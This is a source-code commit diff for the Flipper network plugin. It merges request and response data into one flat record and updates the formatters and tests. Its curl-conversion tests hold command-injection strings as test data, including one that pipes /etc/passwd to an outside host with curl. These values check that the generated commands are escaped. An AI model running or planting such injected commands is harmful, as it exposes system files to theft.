Convert network plugin to Sandy

Summary:
converted the network plugin to use DataSource / DataTable. Restructured the storage to contain a single flat normalised object that will be much more efficient for rendering / filtering (as columns currently don't support nested keys yet, and lazy columns are a lot less flexible)

lint errors and further `flipper` package usages will be cleaned up in the next diff to make sure this diff doesn't become too large.

The rest of the plugin is converted in the next diff

Reviewed By: nikoant

Differential Revision: D27938581

fbshipit-source-id: 2e0e2ba75ef13d88304c6566d4519b121daa215b
This commit is contained in:
Michel Weststrate
2021-05-06 04:26:41 -07:00
committed by Facebook GitHub Bot
parent bef1885395
commit 23402dfff6
12 changed files with 608 additions and 763 deletions

View File

@@ -137,6 +137,11 @@ export class DataSource<
return unwrap(this._records[index]); return unwrap(this._records[index]);
} }
public has(key: KEY_TYPE) {
this.assertKeySet();
return this._recordsById.has(key);
}
public getById(key: KEY_TYPE) { public getById(key: KEY_TYPE) {
this.assertKeySet(); this.assertKeySet();
return this._recordsById.get(key); return this._recordsById.get(key);

View File

@@ -17,7 +17,7 @@ import {
Panel, Panel,
} from 'flipper'; } from 'flipper';
import React, {useContext, useState, useMemo, useEffect} from 'react'; import React, {useContext, useState, useMemo, useEffect} from 'react';
import {Route, Request, Response} from './types'; import {Route, Requests} from './types';
import {MockResponseDetails} from './MockResponseDetails'; import {MockResponseDetails} from './MockResponseDetails';
import {NetworkRouteContext} from './index'; import {NetworkRouteContext} from './index';
import {RequestId} from './types'; import {RequestId} from './types';
@@ -27,8 +27,7 @@ import {NUX, Layout} from 'flipper-plugin';
type Props = { type Props = {
routes: {[id: string]: Route}; routes: {[id: string]: Route};
highlightedRows: Set<string> | null | undefined; highlightedRows: Set<string> | null | undefined;
requests: {[id: string]: Request}; requests: Requests;
responses: {[id: string]: Response};
}; };
const ColumnSizes = {route: 'flex'}; const ColumnSizes = {route: 'flex'};
@@ -224,7 +223,7 @@ export function ManageMockResponsePanel(props: Props) {
Add Route Add Route
</Button> </Button>
<NUX <NUX
title="It is now possible to highlight calls from the network call list and convert them into mock routes." title="It is now possible to select calls from the network call list and convert them into mock routes."
placement="bottom"> placement="bottom">
<Button <Button
onClick={() => { onClick={() => {
@@ -232,13 +231,12 @@ export function ManageMockResponsePanel(props: Props) {
!props.highlightedRows || !props.highlightedRows ||
props.highlightedRows.size == 0 props.highlightedRows.size == 0
) { ) {
message.info('No network calls have been highlighted'); message.info('No network calls have been selected');
return; return;
} }
networkRouteManager.copyHighlightedCalls( networkRouteManager.copyHighlightedCalls(
props.highlightedRows as Set<string>, props.highlightedRows as Set<string>,
props.requests, props.requests,
props.responses,
); );
}}> }}>
Copy Highlighted Calls Copy Highlighted Calls

View File

@@ -10,7 +10,7 @@
import {Button, styled, Layout, Spacer} from 'flipper'; import {Button, styled, Layout, Spacer} from 'flipper';
import {ManageMockResponsePanel} from './ManageMockResponsePanel'; import {ManageMockResponsePanel} from './ManageMockResponsePanel';
import {Route, Request, Response} from './types'; import {Route, Requests} from './types';
import React from 'react'; import React from 'react';
import {NetworkRouteContext} from './index'; import {NetworkRouteContext} from './index';
@@ -20,8 +20,7 @@ type Props = {
routes: {[id: string]: Route}; routes: {[id: string]: Route};
onHide: () => void; onHide: () => void;
highlightedRows: Set<string> | null | undefined; highlightedRows: Set<string> | null | undefined;
requests: {[id: string]: Request}; requests: Requests;
responses: {[id: string]: Response};
}; };
const Title = styled('div')({ const Title = styled('div')({
@@ -45,7 +44,6 @@ export function MockResponseDialog(props: Props) {
routes={props.routes} routes={props.routes}
highlightedRows={props.highlightedRows} highlightedRows={props.highlightedRows}
requests={props.requests} requests={props.requests}
responses={props.responses}
/> />
</Layout.Container> </Layout.Container>
<Layout.Horizontal gap> <Layout.Horizontal gap>

View File

@@ -7,7 +7,7 @@
* @format * @format
*/ */
import {Request, Response, Header, Insights, RetryInsights} from './types'; import {Request, Header, Insights, RetryInsights} from './types';
import { import {
Component, Component,
@@ -55,7 +55,6 @@ const KeyValueColumns = {
type RequestDetailsProps = { type RequestDetailsProps = {
request: Request; request: Request;
response: Response | null | undefined;
bodyFormat: string; bodyFormat: string;
onSelectFormat: (bodyFormat: string) => void; onSelectFormat: (bodyFormat: string) => void;
}; };
@@ -111,7 +110,7 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
}; };
render() { render() {
const {request, response, bodyFormat, onSelectFormat} = this.props; const {request, bodyFormat, onSelectFormat} = this.props;
const url = new URL(request.url); const url = new URL(request.url);
const formattedText = bodyFormat == BodyOptions.formatted; const formattedText = bodyFormat == BodyOptions.formatted;
@@ -143,17 +142,17 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
</Panel> </Panel>
) : null} ) : null}
{request.headers.length > 0 ? ( {request.requestHeaders.length > 0 ? (
<Panel <Panel
key="headers" key="headers"
heading={'Request Headers'} heading={'Request Headers'}
floating={false} floating={false}
padded={false}> padded={false}>
<HeaderInspector headers={request.headers} /> <HeaderInspector headers={request.requestHeaders} />
</Panel> </Panel>
) : null} ) : null}
{request.data != null ? ( {request.requestData != null ? (
<Panel <Panel
key="requestData" key="requestData"
heading={'Request Body'} heading={'Request Body'}
@@ -165,28 +164,29 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
/> />
</Panel> </Panel>
) : null} ) : null}
{response ? ( {request.status ? (
<> <>
{response.headers.length > 0 ? ( {request.responseHeaders?.length ? (
<Panel <Panel
key={'responseheaders'} key={'responseheaders'}
heading={`Response Headers${ heading={`Response Headers${
response.isMock ? ' (Mocked)' : '' request.responseIsMock ? ' (Mocked)' : ''
}`} }`}
floating={false} floating={false}
padded={false}> padded={false}>
<HeaderInspector headers={response.headers} /> <HeaderInspector headers={request.responseHeaders} />
</Panel> </Panel>
) : null} ) : null}
<Panel <Panel
key={'responsebody'} key={'responsebody'}
heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`} heading={`Response Body${
request.responseIsMock ? ' (Mocked)' : ''
}`}
floating={false} floating={false}
padded={!formattedText}> padded={!formattedText}>
<ResponseBodyInspector <ResponseBodyInspector
formattedText={formattedText} formattedText={formattedText}
request={request} request={request}
response={response}
/> />
</Panel> </Panel>
</> </>
@@ -204,13 +204,13 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
options={BodyOptions} options={BodyOptions}
/> />
</Panel> </Panel>
{response && response.insights ? ( {request.insights ? (
<Panel <Panel
key="insights" key="insights"
heading={'Insights'} heading={'Insights'}
floating={false} floating={false}
collapsed={true}> collapsed={true}>
<InsightsInspector insights={response.insights} /> <InsightsInspector insights={request.insights} />
</Panel> </Panel>
) : null} ) : null}
</RequestDetails.Container> </RequestDetails.Container>
@@ -311,7 +311,7 @@ const BodyContainer = styled.div({
type BodyFormatter = { type BodyFormatter = {
formatRequest?: (request: Request) => any; formatRequest?: (request: Request) => any;
formatResponse?: (request: Request, response: Response) => any; formatResponse?: (request: Request) => any;
}; };
class RequestBodyInspector extends Component<{ class RequestBodyInspector extends Component<{
@@ -320,7 +320,7 @@ class RequestBodyInspector extends Component<{
}> { }> {
render() { render() {
const {request, formattedText} = this.props; const {request, formattedText} = this.props;
if (request.data == null || request.data.trim() === '') { if (request.requestData == null || request.requestData.trim() === '') {
return <Empty />; return <Empty />;
} }
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters; const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -346,25 +346,24 @@ class RequestBodyInspector extends Component<{
} }
} }
} }
return renderRawBody(request); return renderRawBody(request, 'request');
} }
} }
class ResponseBodyInspector extends Component<{ class ResponseBodyInspector extends Component<{
response: Response;
request: Request; request: Request;
formattedText: boolean; formattedText: boolean;
}> { }> {
render() { render() {
const {request, response, formattedText} = this.props; const {request, formattedText} = this.props;
if (response.data == null || response.data.trim() === '') { if (request.responseData == null || request.responseData.trim() === '') {
return <Empty />; return <Empty />;
} }
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters; const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
for (const formatter of bodyFormatters) { for (const formatter of bodyFormatters) {
if (formatter.formatResponse) { if (formatter.formatResponse) {
try { try {
const component = formatter.formatResponse(request, response); const component = formatter.formatResponse(request);
if (component) { if (component) {
return ( return (
<BodyContainer> <BodyContainer>
@@ -383,7 +382,7 @@ class ResponseBodyInspector extends Component<{
} }
} }
} }
return renderRawBody(response); return renderRawBody(request, 'response');
} }
} }
@@ -400,9 +399,26 @@ const Empty = () => (
</BodyContainer> </BodyContainer>
); );
function renderRawBody(container: Request | Response) { function getRequestData(request: Request) {
return {
headers: request.requestHeaders,
data: request.requestData,
};
}
function getResponseData(request: Request) {
return {
headers: request.responseHeaders,
data: request.responseData,
};
}
function renderRawBody(request: Request, mode: 'request' | 'response') {
// TODO: we want decoding only for non-binary data! See D23403095 // TODO: we want decoding only for non-binary data! See D23403095
const decoded = decodeBody(container); const data = mode === 'request' ? request.requestData : request.responseData;
const decoded = decodeBody(
mode === 'request' ? getRequestData(request) : getResponseData(request),
);
return ( return (
<BodyContainer> <BodyContainer>
{decoded ? ( {decoded ? (
@@ -413,7 +429,7 @@ function renderRawBody(container: Request | Response) {
<> <>
<FormattedBy>(Failed to decode)</FormattedBy> <FormattedBy>(Failed to decode)</FormattedBy>
<Text selectable wordWrap="break-word"> <Text selectable wordWrap="break-word">
{container.data} {data}
</Text> </Text>
</> </>
)} )}
@@ -482,20 +498,24 @@ class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
} }
class ImageFormatter { class ImageFormatter {
formatResponse = (request: Request, response: Response) => { formatResponse(request: Request) {
if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) { if (
if (response.data) { getHeaderValue(request.responseHeaders, 'content-type').startsWith(
'image/',
)
) {
if (request.responseData) {
const src = `data:${getHeaderValue( const src = `data:${getHeaderValue(
response.headers, request.responseHeaders,
'content-type', 'content-type',
)};base64,${response.data}`; )};base64,${request.responseData}`;
return <ImageWithSize src={src} />; return <ImageWithSize src={src} />;
} else { } else {
// fallback to using the request url // fallback to using the request url
return <ImageWithSize src={request.url} />; return <ImageWithSize src={request.url} />;
} }
} }
}; }
} }
class VideoFormatter { class VideoFormatter {
@@ -504,8 +524,8 @@ class VideoFormatter {
maxHeight: 500, maxHeight: 500,
}); });
formatResponse = (request: Request, response: Response) => { formatResponse = (request: Request) => {
const contentType = getHeaderValue(response.headers, 'content-type'); const contentType = getHeaderValue(request.responseHeaders, 'content-type');
if (contentType.startsWith('video/')) { if (contentType.startsWith('video/')) {
return ( return (
<MediaContainer> <MediaContainer>
@@ -551,21 +571,21 @@ class XMLText extends Component<{body: any}> {
} }
class JSONTextFormatter { class JSONTextFormatter {
formatRequest = (request: Request) => { formatRequest(request: Request) {
return this.format( return this.format(
decodeBody(request), decodeBody(getRequestData(request)),
getHeaderValue(request.headers, 'content-type'), getHeaderValue(request.requestHeaders, 'content-type'),
); );
}; }
formatResponse = (_request: Request, response: Response) => { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(response), decodeBody(getResponseData(request)),
getHeaderValue(response.headers, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
}; }
format = (body: string, contentType: string) => { format(body: string, contentType: string) {
if ( if (
contentType.startsWith('application/json') || contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') || contentType.startsWith('application/hal+json') ||
@@ -583,47 +603,47 @@ class JSONTextFormatter {
.map((data, idx) => <JSONText key={idx}>{data}</JSONText>); .map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
} }
} }
}; }
} }
class XMLTextFormatter { class XMLTextFormatter {
formatRequest = (request: Request) => { formatRequest(request: Request) {
return this.format( return this.format(
decodeBody(request), decodeBody(getRequestData(request)),
getHeaderValue(request.headers, 'content-type'), getHeaderValue(request.requestHeaders, 'content-type'),
); );
}; }
formatResponse = (_request: Request, response: Response) => { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(response), decodeBody(getResponseData(request)),
getHeaderValue(response.headers, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
}; }
format = (body: string, contentType: string) => { format(body: string, contentType: string) {
if (contentType.startsWith('text/html')) { if (contentType.startsWith('text/html')) {
return <XMLText body={body} />; return <XMLText body={body} />;
} }
}; }
} }
class JSONFormatter { class JSONFormatter {
formatRequest = (request: Request) => { formatRequest(request: Request) {
return this.format( return this.format(
decodeBody(request), decodeBody(getRequestData(request)),
getHeaderValue(request.headers, 'content-type'), getHeaderValue(request.requestHeaders, 'content-type'),
); );
}; }
formatResponse = (_request: Request, response: Response) => { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(response), decodeBody(getResponseData(request)),
getHeaderValue(response.headers, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
}; }
format = (body: string, contentType: string) => { format(body: string, contentType: string) {
if ( if (
contentType.startsWith('application/json') || contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') || contentType.startsWith('application/hal+json') ||
@@ -651,35 +671,35 @@ class JSONFormatter {
); );
} }
} }
}; }
} }
class LogEventFormatter { class LogEventFormatter {
formatRequest = (request: Request) => { formatRequest(request: Request) {
if (request.url.indexOf('logging_client_event') > 0) { if (request.url.indexOf('logging_client_event') > 0) {
const data = querystring.parse(decodeBody(request)); const data = querystring.parse(decodeBody(getRequestData(request)));
if (typeof data.message === 'string') { if (typeof data.message === 'string') {
data.message = JSON.parse(data.message); data.message = JSON.parse(data.message);
} }
return <ManagedDataInspector expandRoot={true} data={data} />; return <ManagedDataInspector expandRoot={true} data={data} />;
} }
}; }
} }
class GraphQLBatchFormatter { class GraphQLBatchFormatter {
formatRequest = (request: Request) => { formatRequest(request: Request) {
if (request.url.indexOf('graphqlbatch') > 0) { if (request.url.indexOf('graphqlbatch') > 0) {
const data = querystring.parse(decodeBody(request)); const data = querystring.parse(decodeBody(getRequestData(request)));
if (typeof data.queries === 'string') { if (typeof data.queries === 'string') {
data.queries = JSON.parse(data.queries); data.queries = JSON.parse(data.queries);
} }
return <ManagedDataInspector expandRoot={true} data={data} />; return <ManagedDataInspector expandRoot={true} data={data} />;
} }
}; }
} }
class GraphQLFormatter { class GraphQLFormatter {
parsedServerTimeForFirstFlush = (data: any) => { parsedServerTimeForFirstFlush(data: any) {
const firstResponse = const firstResponse =
Array.isArray(data) && data.length > 0 ? data[0] : data; Array.isArray(data) && data.length > 0 ? data[0] : data;
if (!firstResponse) { if (!firstResponse) {
@@ -702,10 +722,10 @@ class GraphQLFormatter {
(timeAtFlushMs - requestStartMs)} (timeAtFlushMs - requestStartMs)}
</WrappingText> </WrappingText>
); );
}; }
formatRequest = (request: Request) => { formatRequest(request: Request) {
if (request.url.indexOf('graphql') > 0) { if (request.url.indexOf('graphql') > 0) {
const decoded = decodeBody(request); const decoded = decodeBody(getRequestData(request));
if (!decoded) { if (!decoded) {
return undefined; return undefined;
} }
@@ -718,14 +738,14 @@ class GraphQLFormatter {
} }
return <ManagedDataInspector expandRoot={true} data={data} />; return <ManagedDataInspector expandRoot={true} data={data} />;
} }
}; }
formatResponse = (_request: Request, response: Response) => { formatResponse(request: Request) {
return this.format( return this.format(
decodeBody(response), decodeBody(getResponseData(request)),
getHeaderValue(response.headers, 'content-type'), getHeaderValue(request.responseHeaders, 'content-type'),
); );
}; }
format = (body: string, contentType: string) => { format = (body: string, contentType: string) => {
if ( if (
@@ -770,9 +790,9 @@ class GraphQLFormatter {
class FormUrlencodedFormatter { class FormUrlencodedFormatter {
formatRequest = (request: Request) => { formatRequest = (request: Request) => {
const contentType = getHeaderValue(request.headers, 'content-type'); const contentType = getHeaderValue(request.requestHeaders, 'content-type');
if (contentType.startsWith('application/x-www-form-urlencoded')) { if (contentType.startsWith('application/x-www-form-urlencoded')) {
const decoded = decodeBody(request); const decoded = decodeBody(getRequestData(request));
if (!decoded) { if (!decoded) {
return undefined; return undefined;
} }
@@ -788,16 +808,18 @@ class FormUrlencodedFormatter {
class BinaryFormatter { class BinaryFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
return this.format(request);
}
formatResponse(_request: Request, response: Response) {
return this.format(response);
}
format(container: Request | Response) {
if ( if (
getHeaderValue(container.headers, 'content-type') === getHeaderValue(request.requestHeaders, 'content-type') ===
'application/octet-stream'
) {
return '(binary data)'; // we could offer a download button here?
}
return undefined;
}
formatResponse(request: Request) {
if (
getHeaderValue(request.responseHeaders, 'content-type') ===
'application/octet-stream' 'application/octet-stream'
) { ) {
return '(binary data)'; // we could offer a download button here? return '(binary data)'; // we could offer a download button here?
@@ -811,7 +833,7 @@ class ProtobufFormatter {
formatRequest(request: Request) { formatRequest(request: Request) {
if ( if (
getHeaderValue(request.headers, 'content-type') === getHeaderValue(request.requestHeaders, 'content-type') ===
'application/x-protobuf' 'application/x-protobuf'
) { ) {
const protobufDefinition = this.protobufDefinitionRepository.getRequestType( const protobufDefinition = this.protobufDefinitionRepository.getRequestType(
@@ -827,9 +849,9 @@ class ProtobufFormatter {
); );
} }
if (request?.data) { if (request.requestData) {
const data = protobufDefinition.decode( const data = protobufDefinition.decode(
Base64.toUint8Array(request.data), Base64.toUint8Array(request.requestData),
); );
return <JSONText>{data.toJSON()}</JSONText>; return <JSONText>{data.toJSON()}</JSONText>;
} else { } else {
@@ -841,9 +863,9 @@ class ProtobufFormatter {
return undefined; return undefined;
} }
formatResponse(request: Request, response: Response) { formatResponse(request: Request) {
if ( if (
getHeaderValue(response.headers, 'content-type') === getHeaderValue(request.responseHeaders, 'content-type') ===
'application/x-protobuf' || 'application/x-protobuf' ||
request.url.endsWith('.proto') request.url.endsWith('.proto')
) { ) {
@@ -860,9 +882,9 @@ class ProtobufFormatter {
); );
} }
if (response?.data) { if (request.responseData) {
const data = protobufDefinition.decode( const data = protobufDefinition.decode(
Base64.toUint8Array(response.data), Base64.toUint8Array(request.responseData),
); );
return <JSONText>{data.toJSON()}</JSONText>; return <JSONText>{data.toJSON()}</JSONText>;
} else { } else {

View File

@@ -8,11 +8,10 @@
*/ */
import {combineBase64Chunks} from '../chunks'; import {combineBase64Chunks} from '../chunks';
import {TestUtils, createState} from 'flipper-plugin'; import {TestUtils} from 'flipper-plugin';
import * as NetworkPlugin from '../index'; import * as NetworkPlugin from '../index';
import {assembleChunksIfResponseIsComplete} from '../chunks'; import {assembleChunksIfResponseIsComplete} from '../chunks';
import path from 'path'; import path from 'path';
import {PartialResponses, Response} from '../types';
import {Base64} from 'js-base64'; import {Base64} from 'js-base64';
import * as fs from 'fs'; import * as fs from 'fs';
import {promisify} from 'util'; import {promisify} from 'util';
@@ -88,10 +87,15 @@ test('Reducer correctly adds followup chunk', () => {
test('Reducer correctly combines initial response and followup chunk', () => { test('Reducer correctly combines initial response and followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin); const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
instance.partialResponses.set({ sendEvent('newRequest', {
'1': { data: 'x',
followupChunks: {}, headers: [{key: 'y', value: 'z'}],
initialResponse: { id: '1',
method: 'GET',
timestamp: 0,
url: 'http://test.com',
});
sendEvent('partialResponse', {
data: 'aGVs', data: 'aGVs',
headers: [], headers: [],
id: '1', id: '1',
@@ -102,21 +106,13 @@ test('Reducer correctly combines initial response and followup chunk', () => {
timestamp: 123, timestamp: 123,
index: 0, index: 0,
totalChunks: 2, totalChunks: 2,
},
},
}); });
expect(instance.responses.get()).toEqual({}); expect(instance.partialResponses.get()).toMatchInlineSnapshot(`
sendEvent('partialResponse', {
id: '1',
totalChunks: 2,
index: 1,
data: 'bG8=',
});
expect(instance.partialResponses.get()).toEqual({});
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
Object { Object {
"data": "aGVsbG8=", "1": Object {
"followupChunks": Object {},
"initialResponse": Object {
"data": "aGVs",
"headers": Array [], "headers": Array [],
"id": "1", "id": "1",
"index": 0, "index": 0,
@@ -126,8 +122,47 @@ test('Reducer correctly combines initial response and followup chunk', () => {
"status": 200, "status": 200,
"timestamp": 123, "timestamp": 123,
"totalChunks": 2, "totalChunks": 2,
},
},
} }
`); `);
expect(instance.requests.records()[0]).toMatchObject({
requestData: 'x',
requestHeaders: [{key: 'y', value: 'z'}],
id: '1',
method: 'GET',
url: 'http://test.com',
domain: 'test.com/',
});
sendEvent('partialResponse', {
id: '1',
totalChunks: 2,
index: 1,
data: 'bG8=',
});
expect(instance.partialResponses.get()).toEqual({});
expect(instance.requests.records()[0]).toMatchObject({
domain: 'test.com/',
duration: 123,
id: '1',
insights: undefined,
method: 'GET',
reason: 'nothing',
requestData: 'x',
requestHeaders: [
{
key: 'y',
value: 'z',
},
],
responseData: 'aGVsbG8=',
responseHeaders: [],
responseIsMock: false,
responseLength: 5,
status: 200,
url: 'http://test.com',
});
}); });
async function readJsonFixture(filename: string) { async function readJsonFixture(filename: string) {
@@ -138,38 +173,22 @@ async function readJsonFixture(filename: string) {
test('handle small binary payloads correctly', async () => { test('handle small binary payloads correctly', async () => {
const input = await readJsonFixture('partial_failing_example.json'); const input = await readJsonFixture('partial_failing_example.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => { expect(() => {
// this used to throw // this used to throw
assembleChunksIfResponseIsComplete(partials, responses, 'test'); assembleChunksIfResponseIsComplete(input);
}).not.toThrow(); }).not.toThrow();
}); });
test('handle non binary payloads correcty', async () => { test('handle non binary payloads correcty', async () => {
const input = await readJsonFixture('partial_utf8_before.json'); const input = await readJsonFixture('partial_utf8_before.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
const expected = await readJsonFixture('partial_utf8_after.json'); const expected = await readJsonFixture('partial_utf8_after.json');
expect(responses.get()['test']).toEqual(expected); const response = assembleChunksIfResponseIsComplete(input);
expect(response).toEqual(expected);
}); });
test('handle binary payloads correcty', async () => { test('handle binary payloads correcty', async () => {
const input = await readJsonFixture('partial_binary_before.json'); const input = await readJsonFixture('partial_binary_before.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
const expected = await readJsonFixture('partial_binary_after.json'); const expected = await readJsonFixture('partial_binary_after.json');
expect(responses.get()['test']).toEqual(expected); const response = assembleChunksIfResponseIsComplete(input);
expect(response).toEqual(expected);
}); });

View File

@@ -10,17 +10,17 @@
import {readFile} from 'fs'; import {readFile} from 'fs';
import path from 'path'; import path from 'path';
import {decodeBody} from '../utils'; import {decodeBody} from '../utils';
import {Response} from '../types'; import {ResponseInfo} from '../types';
import {promisify} from 'util'; import {promisify} from 'util';
import {readFileSync} from 'fs'; import {readFileSync} from 'fs';
async function createMockResponse(input: string): Promise<Response> { async function createMockResponse(input: string): Promise<ResponseInfo> {
const inputData = await promisify(readFile)( const inputData = await promisify(readFile)(
path.join(__dirname, 'fixtures', input), path.join(__dirname, 'fixtures', input),
'ascii', 'ascii',
); );
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
const testResponse: Response = { const testResponse: ResponseInfo = {
id: '0', id: '0',
timestamp: 0, timestamp: 0,
status: 200, status: 200,

View File

@@ -8,16 +8,15 @@
*/ */
import {convertRequestToCurlCommand} from '../utils'; import {convertRequestToCurlCommand} from '../utils';
import {Request} from '../types';
test('convertRequestToCurlCommand: simple GET', () => { test('convertRequestToCurlCommand: simple GET', () => {
const request: Request = { const request = {
id: 'request id', id: 'request id',
timestamp: 1234567890, timestamp: 1234567890,
method: 'GET', method: 'GET',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
headers: [], requestHeaders: [],
data: null, requestData: undefined,
}; };
const command = convertRequestToCurlCommand(request); const command = convertRequestToCurlCommand(request);
@@ -25,13 +24,13 @@ test('convertRequestToCurlCommand: simple GET', () => {
}); });
test('convertRequestToCurlCommand: simple POST', () => { test('convertRequestToCurlCommand: simple POST', () => {
const request: Request = { const request = {
id: 'request id', id: 'request id',
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
headers: [], requestHeaders: [],
data: btoa('some=data&other=param'), requestData: btoa('some=data&other=param'),
}; };
const command = convertRequestToCurlCommand(request); const command = convertRequestToCurlCommand(request);
@@ -41,13 +40,13 @@ test('convertRequestToCurlCommand: simple POST', () => {
}); });
test('convertRequestToCurlCommand: malicious POST URL', () => { test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = { let request = {
id: 'request id', id: 'request id',
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password", url: "https://fbflipper.com/'; cat /etc/password",
headers: [], requestHeaders: [],
data: btoa('some=data&other=param'), requestData: btoa('some=data&other=param'),
}; };
let command = convertRequestToCurlCommand(request); let command = convertRequestToCurlCommand(request);
@@ -60,8 +59,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password', url: 'https://fbflipper.com/"; cat /etc/password',
headers: [], requestHeaders: [],
data: btoa('some=data&other=param'), requestData: btoa('some=data&other=param'),
}; };
command = convertRequestToCurlCommand(request); command = convertRequestToCurlCommand(request);
@@ -71,13 +70,13 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
}); });
test('convertRequestToCurlCommand: malicious POST URL', () => { test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = { let request = {
id: 'request id', id: 'request id',
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password", url: "https://fbflipper.com/'; cat /etc/password",
headers: [], requestHeaders: [],
data: btoa('some=data&other=param'), requestData: btoa('some=data&other=param'),
}; };
let command = convertRequestToCurlCommand(request); let command = convertRequestToCurlCommand(request);
@@ -90,8 +89,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password', url: 'https://fbflipper.com/"; cat /etc/password',
headers: [], requestHeaders: [],
data: btoa('some=data&other=param'), requestData: btoa('some=data&other=param'),
}; };
command = convertRequestToCurlCommand(request); command = convertRequestToCurlCommand(request);
@@ -101,13 +100,15 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
}); });
test('convertRequestToCurlCommand: malicious POST data', () => { test('convertRequestToCurlCommand: malicious POST data', () => {
let request: Request = { let request = {
id: 'request id', id: 'request id',
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
headers: [], requestHeaders: [],
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'), requestData: btoa(
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
),
}; };
let command = convertRequestToCurlCommand(request); let command = convertRequestToCurlCommand(request);
@@ -120,8 +121,8 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
timestamp: 1234567890, timestamp: 1234567890,
method: 'POST', method: 'POST',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
headers: [], requestHeaders: [],
data: btoa('some=!!'), requestData: btoa('some=!!'),
}; };
command = convertRequestToCurlCommand(request); command = convertRequestToCurlCommand(request);
@@ -131,13 +132,13 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
}); });
test('convertRequestToCurlCommand: control characters', () => { test('convertRequestToCurlCommand: control characters', () => {
const request: Request = { const request = {
id: 'request id', id: 'request id',
timestamp: 1234567890, timestamp: 1234567890,
method: 'GET', method: 'GET',
url: 'https://fbflipper.com/', url: 'https://fbflipper.com/',
headers: [], requestHeaders: [],
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'), requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
}; };
const command = convertRequestToCurlCommand(request); const command = convertRequestToCurlCommand(request);

View File

@@ -7,20 +7,16 @@
* @format * @format
*/ */
import type {PartialResponses, Response} from './types'; import type {PartialResponse, ResponseInfo} from './types';
import {Atom} from 'flipper-plugin';
import {Base64} from 'js-base64'; import {Base64} from 'js-base64';
export function assembleChunksIfResponseIsComplete( export function assembleChunksIfResponseIsComplete(
partialResponses: Atom<PartialResponses>, partialResponseEntry: PartialResponse | undefined,
responses: Atom<Record<string, Response>>, ): ResponseInfo | undefined {
responseId: string, const numChunks = partialResponseEntry?.initialResponse?.totalChunks;
) {
const partialResponseEntry = partialResponses.get()[responseId];
const numChunks = partialResponseEntry.initialResponse?.totalChunks;
if ( if (
!partialResponseEntry.initialResponse ||
!numChunks || !numChunks ||
!partialResponseEntry?.initialResponse ||
Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
) { ) {
// Partial response not yet complete, do nothing. // Partial response not yet complete, do nothing.
@@ -28,7 +24,7 @@ export function assembleChunksIfResponseIsComplete(
} }
// Partial response has all required chunks, convert it to a full Response. // Partial response has all required chunks, convert it to a full Response.
const response: Response = partialResponseEntry.initialResponse; const response: ResponseInfo = partialResponseEntry.initialResponse;
const allChunks: string[] = const allChunks: string[] =
response.data != null response.data != null
? [ ? [
@@ -41,17 +37,11 @@ export function assembleChunksIfResponseIsComplete(
: []; : [];
const data = combineBase64Chunks(allChunks); const data = combineBase64Chunks(allChunks);
responses.update((draft) => { return {
draft[responseId] = {
...response, ...response,
// Currently data is always decoded at render time, so re-encode it to match the single response format. // Currently data is always decoded at render time, so re-encode it to match the single response format.
data, data,
}; };
});
partialResponses.update((draft) => {
